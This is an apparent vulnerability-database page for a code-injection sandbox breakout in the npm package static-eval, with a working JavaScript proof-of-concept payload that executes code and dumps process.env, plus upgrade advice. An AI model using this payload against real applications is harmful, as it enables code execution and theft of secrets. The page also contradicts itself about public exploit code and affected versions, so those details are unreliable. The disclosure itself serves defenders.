GHSA-x9hc-rw35-f44h Sandbox Breakout / Arbitrary Code Execution in static-eval

Not scored Published

Attackers can execute arbitrary code by passing malicious input to the static-eval library, which fails to properly sanitize input before using the Function constructor.

Exploited in the wild
Not known
Login needed
Not needed
Attackable
Over the internet
Victim action needed
Not needed
Fix
Available

What is GHSA-x9hc-rw35-f44h?

GHSA-x9hc-rw35-f44h is a code injection vulnerability in static-eval, published on 2 Sep 2020. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Versions of static-evalprior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

Proof of concept

var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));

Recommendation

Upgrade to version 2.0.2 or later.

Which versions are affected by GHSA-x9hc-rw35-f44h?

2 open source packages ship an affected version, including static-eval.

PackageAffectedFixed in
static-eval npmAll versions2.0.2
static-eval npmAll versions2.0.2

How do I fix GHSA-x9hc-rw35-f44h?

Upgrade static-eval to 2.0.2 or later.

Upgrade, and never evaluate templates, expressions or code built from user input. More about Code injection.

Is GHSA-x9hc-rw35-f44h being exploited?

There is no known exploitation of GHSA-x9hc-rw35-f44h in the wild and no public exploit code.

Sources

Is GHSA-x9hc-rw35-f44h in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free